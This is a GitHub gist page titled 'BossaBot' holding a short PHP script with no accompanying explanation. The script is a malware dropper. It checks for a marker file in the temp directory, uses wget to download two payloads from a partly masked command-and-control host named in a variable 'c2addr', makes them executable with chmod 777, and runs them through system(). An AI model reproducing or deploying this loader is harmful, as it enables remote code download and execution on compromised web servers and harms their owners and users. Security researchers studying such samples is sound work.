Skip to content

Instantly share code, notes, and snippets.

@revENGR
Last active May 5, 2020 07:52
Show Gist options
  • Save revENGR/601b005309621403cfd0e13784c3d08c to your computer and use it in GitHub Desktop.
Save revENGR/601b005309621403cfd0e13784c3d08c to your computer and use it in GitHub Desktop.
BossaBot
<?php
$_tmpDir = sys_get_temp_dir();
$str_OhT8zy1I = 'OhT8zy1I';
$str_L2r6PO2g = 'L2r6PO2g';
$c2addr = 'haxXXXX.uni.me';
$c2addr2 = 'haxXXXX.uni.me';
$wget = 'wget';
$wgetOption = '-P - -O';
$chmodCmd = 'chmod -R 777';
if (file_exists($_tmpDir . "/$str_OhT8zy1I")) {
exit(1); }
else{
echo($_tmpDir);
system("$wget $c2addr $wgetOption" . $_tmpDir . "/$str_OhT8zy1I");
system("$wget $c2addr2 $wgetOption" . $_tmpDir . "/$str_L2r6PO2g");
system("$chmodCmd" . $_tmpDir ."/$str_OhT8zy1I");
chmod ($_tmpDir.'/'.$str_OhT8zy1I,0777);
system("$chmodCmd" . $_tmpDir ."/$str_L2r6PO2g");
chmod ($_tmpDir.'/'.$str_L2r6PO2g,0777);
system($_tmpDir . "/$str_OhT8zy1I");
system($_tmpDir . "/$str_L2r6PO2g");
exit(1);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment